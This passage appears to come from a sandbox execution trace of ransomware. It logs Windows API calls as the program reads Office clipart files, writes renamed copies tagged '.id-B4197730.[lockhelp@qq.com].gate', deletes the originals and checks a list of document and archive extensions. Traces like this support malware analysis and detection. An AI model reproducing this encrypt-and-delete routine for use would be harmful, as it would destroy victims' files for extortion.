lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c8c020*, lpNumberOfBytesWritten=0x327fc94*=0xec, lpOverlapped=0x0) returned 1 [0315.532] SetEndOfFile (hFile=0x52c) returned 1 [0315.532] CloseHandle (hObject=0x52c) returned 1 [0315.532] SetFilePointerEx (in: hFile=0x4f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0315.532] SetEndOfFile (hFile=0x4f4) returned 1 [0315.535] CloseHandle (hObject=0x4f4) returned 1 [0315.535] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099167.JPG.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0315.536] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099167.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099167.jpg")) returned 1 [0315.536] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099167.JPG") returned 68 [0315.536] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099167.JPG") returned 68 [0315.536] lstrlenW (lpString=".doc") returned 4 [0315.536] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0315.536] lstrlenW (lpString=".docx") returned 5 [0315.536] lstrcmpiW (lpString1=".docx", lpString2="7.JPG") returned -1 [0315.536] lstrlenW (lpString=".pdf") returned 4 [0315.536] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0315.536] lstrlenW (lpString=".xls") returned 4 [0315.536] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0315.536] lstrlenW (lpString=".xlsx") returned 5 [0315.536] lstrcmpiW (lpString1=".xlsx", lpString2="7.JPG") returned -1 [0315.537] lstrlenW (lpString=".ppt") returned 4 [0315.537] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0315.537] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099167.JPG") returned 68 [0315.537] lstrlenW (lpString=".zip") returned 4 [0315.537] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0315.537] lstrlenW (lpString=".rar") returned 4 [0315.537] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0315.537] lstrlenW (lpString=".bz2") returned 4 [0315.537] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0315.537] lstrlenW (lpString=".7z") returned 3 [0315.537] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0315.537] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099167.JPG") returned 68 [0315.537] lstrlenW (lpString=".dbf") returned 4 [0315.537] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0315.537] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099167.JPG") returned 68 [0315.537] lstrlenW (lpString=".1cd") returned 4 [0315.537] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0315.537] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099167.JPG") returned 68 [0315.537] lstrlenW (lpString=".jpg") returned 4 [0315.537] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0315.537] GetFileSizeEx (in: hFile=0x4f4, lpFileSize=0x327ff14 | out: lpFileSize=0x327ff14*=20179) returned 1 [0315.538] CloseHandle (hObject=0x4f4) returned 1 [0315.538] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099168.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099168.jpg")) returned 0x220 [0315.538] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099168.JPG.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099168.jpg.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0315.538] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099168.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099168.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4f4 [0315.538] SetFilePointerEx (in: hFile=0x4f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0315.539] SetFilePointerEx (in: hFile=0x4f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0315.539] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099168.JPG.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099168.jpg.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x52c [0315.539] GetLastError () returned 0x0 [0315.539] ReadFile (in: hFile=0x4f4, lpBuffer=0x3c8c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c8c020*, lpNumberOfBytesRead=0x327fecc*=0x4ed3, lpOverlapped=0x0) returned 1 [0315.582] WriteFile (in: hFile=0x52c, lpBuffer=0x3c8c020*, nNumberOfBytesToWrite=0x4ee0, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c8c020*, lpNumberOfBytesWritten=0x327fc94*=0x4ee0, lpOverlapped=0x0) returned 1 [0315.583] ReadFile (in: hFile=0x4f4, lpBuffer=0x3c8c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c8c020*, lpNumberOfBytesRead=0x327fecc*=0x0, lpOverlapped=0x0) returned 1 [0315.583] WriteFile (in: hFile=0x52c, lpBuffer=0x3c8c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c8c020*, lpNumberOfBytesWritten=0x327fc94*=0xec, lpOverlapped=0x0) returned 1 [0315.583] SetEndOfFile (hFile=0x52c) returned 1 [0315.583] CloseHandle (hObject=0x52c) returned 1 [0315.584] SetFilePointerEx (in: hFile=0x4f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0315.584] SetEndOfFile (hFile=0x4f4) returned 1 [0315.586] CloseHandle (hObject=0x4f4) returned 1 [0315.586] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099168.JPG.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0315.608] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099168.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099168.jpg")) returned 1 [0315.632] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099168.JPG") returned 68 [0315.633] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099168.JPG") returned 68 [0315.633] lstrlenW (lpString=".doc") returned 4 [0315.633] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0315.633] lstrlenW (lpString=".docx") returned 5 [0315.633] lstrcmpiW (lpString1=".docx", lpString2="8.JPG") returned -1 [0315.633] lstrlenW (lpString=".pdf") returned 4 [0315.633] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0315.633] lstrlenW (lpString=".xls") returned 4 [0315.633] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0315.633] lstrlenW (lpString=".xlsx") returned 5 [0315.633] lstrcmpiW (lpString1=".xlsx", lpString2="8.JPG") returned -1 [0315.633] lstrlenW (lpString=".ppt") returned 4 [0315.633] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0315.633] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099168.JPG") returned 68 [0315.633] lstrlenW (lpString=".zip") returned 4 [0315.633] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0315.633] lstrlenW (lpString=".rar") returned 4 [0315.633] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0315.633] lstrlenW (lpString=".bz2") returned 4 [0315.633] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0315.633] lstrlenW (lpString=".7z") returned 3 [0315.633] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0315.633] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099168.JPG") returned 68 [0315.633] lstrlenW (lpString=".dbf") returned 4 [0315.633] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0315.633] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099168.JPG") returned 68 [0315.633] lstrlenW (lpString=".1cd") returned 4 [0315.633] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0315.633] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099168.JPG") returned 68 [0315.633] lstrlenW (lpString=".jpg") returned 4 [0315.633] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0315.634] GetFileSizeEx (in: hFile=0x4c4, lpFileSize=0x327ff14 | out: lpFileSize=0x327ff14*=58258) returned 1 [0315.634] CloseHandle (hObject=0x4c4) returned 1 [0315.634] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099172.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099172.wmf")) returned 0x220 [0315.634] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099172.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099172.wmf.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0315.634] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099172.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099172.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c4 [0315.635] SetFilePointerEx (in: hFile=0x4c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0315.635] SetFilePointerEx (in: hFile=0x4c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0315.635] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099172.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099172.wmf.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x494 [0315.635] GetLastError () returned 0x0 [0315.635] ReadFile (in: hFile=0x4c4, lpBuffer=0x3c8c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c8c020*, lpNumberOfBytesRead=0x327fecc*=0xe392, lpOverlapped=0x0) returned 1 [0315.743] WriteFile (in: hFile=0x494, lpBuffer=0x3c8c020*, nNumberOfBytesToWrite=0xe3a0, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c8c020*, lpNumberOfBytesWritten=0x327fc94*=0xe3a0, lpOverlapped=0x0) returned 1 [0315.745] ReadFile (in: hFile=0x4c4, lpBuffer=0x3c8c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c8c020*, lpNumberOfBytesRead=0x327fecc*=0x0, lpOverlapped=0x0) returned 1 [0315.745] WriteFile (in: hFile=0x494, lpBuffer=0x3c8c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c8c020*, lpNumberOfBytesWritten=0x327fc94*=0xec, lpOverlapped=0x0) returned 1 [0315.745] SetEndOfFile (hFile=0x494) returned 1 [0315.745] CloseHandle (hObject=0x494) returned 1 [0315.745] SetFilePointerEx (in: hFile=0x4c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0315.745] SetEndOfFile (hFile=0x4c4) returned 1 [0315.748] CloseHandle (hObject=0x4c4) returned 1 [0315.748] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099172.WMF.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0315.748] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099172.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099172.wmf")) returned 1 [0315.749] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099172.WMF") returned 68 [0315.749] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099172.WMF") returned 68 [0315.749] lstrlenW (lpString=".doc") returned 4 [0315.749] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0315.749] lstrlenW (lpString=".docx") returned 5 [0315.749] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0315.749] lstrlenW (lpString=".pdf") returned 4 [0315.749] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0315.749] lstrlenW (lpString=".xls") returned 4 [0315.749] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0315.749] lstrlenW (lpString=".xlsx") returned 5 [0315.749] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0315.749] lstrlenW (lpString=".ppt") returned 4 [0315.749] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0315.749] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099172.WMF") returned 68 [0315.749] lstrlenW (lpString=".zip") returned 4 [0315.750] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0315.750] lstrlenW (lpString=".rar") returned 4 [0315.750] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0315.750] lstrlenW (lpString=".bz2") returned 4 [0315.750] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0315.750] lstrlenW (lpString=".7z") returned 3 [0315.750] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0315.750] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099172.WMF") returned 68 [0315.750] lstrlenW (lpString=".dbf") returned 4 [0315.750] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0315.750] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099172.WMF") returned 68 [0315.750] lstrlenW (lpString=".1cd") returned 4 [0315.750] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0315.750] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099172.WMF") returned 68 [0315.750] lstrlenW (lpString=".jpg") returned 4 [0315.750] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0315.750] GetFileSizeEx (in: hFile=0x4c4, lpFileSize=0x327ff14 | out: lpFileSize=0x327ff14*=6214) returned 1 [0315.750] CloseHandle (hObject=0x4c4) returned 1 [0315.750] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099174.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099174.wmf")) returned 0x220 [0315.751] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099174.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099174.wmf.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0315.751] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099174.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099174.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c4 [0315.751] SetFilePointerEx (in: hFile=0x4c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0315.751] SetFilePointerEx (in: hFile=0x4c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0315.751] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099174.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099174.wmf.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x494 [0315.752] GetLastError () returned 0x0 [0315.752] ReadFile (in: hFile=0x4c4, lpBuffer=0x3c8c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c8c020*, lpNumberOfBytesRead=0x327fecc*=0x1846, lpOverlapped=0x0) returned 1 [0315.922] WriteFile (in: hFile=0x494, lpBuffer=0x3c8c020*, nNumberOfBytesToWrite=0x1850, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c8c020*, lpNumberOfBytesWritten=0x327fc94*=0x1850, lpOverlapped=0x0) returned 1 [0315.923] ReadFile (in: hFile=0x4c4, lpBuffer=0x3c8c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c8c020*, lpNumberOfBytesRead=0x327fecc*=0x0, lpOverlapped=0x0) returned 1 [0315.923] WriteFile (in: hFile=0x494, lpBuffer=0x3c8c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c8c020*, lpNumberOfBytesWritten=0x327fc94*=0xec, lpOverlapped=0x0) returned 1 [0315.923] SetEndOfFile (hFile=0x494) returned 1 [0315.923] CloseHandle (hObject=0x494) returned 1 [0315.923] SetFilePointerEx (in: hFile=0x4c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0315.923] SetEndOfFile (hFile=0x4c4) returned 1 [0315.931] CloseHandle (hObject=0x4c4) returned 1 [0315.931] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099174.WMF.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0315.938] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099174.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099174.wmf")) returned 1 [0316.007] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099174.WMF") returned 68 [0316.007] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099174.WMF") returned 68 [0316.007] lstrlenW (lpString=".doc") returned 4 [0316.007] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0316.007] lstrlenW (lpString=".docx") returned 5 [0316.007] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0316.007] lstrlenW (lpString=".pdf") returned 4 [0316.007] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0316.007] lstrlenW (lpString=".xls") returned 4 [0316.007] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0316.007] lstrlenW (lpString=".xlsx") returned 5 [0316.008] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0316.008] lstrlenW (lpString=".ppt") returned 4 [0316.008] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0316.008] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099174.WMF") returned 68 [0316.008] lstrlenW (lpString=".zip") returned 4 [0316.008] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0316.008] lstrlenW (lpString=".rar") returned 4 [0316.008] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0316.008] lstrlenW (lpString=".bz2") returned 4 [0316.008] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0316.008] lstrlenW (lpString=".7z") returned 3 [0316.008] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0316.008] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099174.WMF") returned 68 [0316.008] lstrlenW (lpString=".dbf") returned 4 [0316.008] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0316.008] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099174.WMF") returned 68 [0316.008] lstrlenW (lpString=".1cd") returned 4 [0316.008] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0316.008] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099174.WMF") returned 68 [0316.008] lstrlenW (lpString=".jpg") returned 4 [0316.008] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0316.008] GetFileSizeEx (in: hFile=0x4f8, lpFileSize=0x327ff14 | out: lpFileSize=0x327ff14*=4118) returned 1 [0316.008] CloseHandle (hObject=0x4f8) returned 1 [0316.009] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099184.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099184.wmf")) returned 0x220 [0316.009] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099184.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099184.wmf.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0316.009] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099184.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099184.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4f8 [0316.009] SetFilePointerEx (in: hFile=0x4f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0316.009] SetFilePointerEx (in: hFile=0x4f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0316.009] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099184.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099184.wmf.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554 [0316.010] GetLastError () returned 0x0 [0316.010] ReadFile (in: hFile=0x4f8, lpBuffer=0x3c8c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c8c020*, lpNumberOfBytesRead=0x327fecc*=0x1016, lpOverlapped=0x0) returned 1 [0316.045] WriteFile (in: hFile=0x554, lpBuffer=0x3c8c020*, nNumberOfBytesToWrite=0x1020, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c8c020*, lpNumberOfBytesWritten=0x327fc94*=0x1020, lpOverlapped=0x0) returned 1 [0316.046] ReadFile (in: hFile=0x4f8, lpBuffer=0x3c8c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c8c020*, lpNumberOfBytesRead=0x327fecc*=0x0, lpOverlapped=0x0) returned 1 [0316.046] WriteFile (in: hFile=0x554, lpBuffer=0x3c8c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c8c020*, lpNumberOfBytesWritten=0x327fc94*=0xec, lpOverlapped=0x0) returned 1 [0316.047] SetEndOfFile (hFile=0x554) returned 1 [0316.047] CloseHandle (hObject=0x554) returned 1 [0316.047] SetFilePointerEx (in: hFile=0x4f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0316.047] SetEndOfFile (hFile=0x4f8) returned 1 [0316.049] CloseHandle (hObject=0x4f8) returned 1 [0316.049] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099184.WMF.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0316.049] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099184.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099184.wmf")) returned 1 [0316.050] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099184.WMF") returned 68 [0316.050] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099184.WMF") returned 68 [0316.050] lstrlenW (lpString=".doc") returned 4 [0316.050] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0316.050] lstrlenW (lpString=".docx") returned 5 [0316.050] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0316.050] lstrlenW (lpString=".pdf") returned 4 [0316.050] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0316.050] lstrlenW (lpString=".xls") returned 4 [0316.050] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0316.050] lstrlenW (lpString=".xlsx") returned 5 [0316.050] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0316.050] lstrlenW (lpString=".ppt") returned 4 [0316.050] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0316.050] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099184.WMF") returned 68 [0316.050] lstrlenW (lpString=".zip") returned 4 [0316.050] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0316.050] lstrlenW (lpString=".rar") returned 4 [0316.050] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0316.050] lstrlenW (lpString=".bz2") returned 4 [0316.050] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0316.050] lstrlenW (lpString=".7z") returned 3 [0316.050] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0316.050] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099184.WMF") returned 68 [0316.050] lstrlenW (lpString=".dbf") returned 4 [0316.050] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0316.050] lstrlenW (lpString="C:\\Program Files\\Microsoft 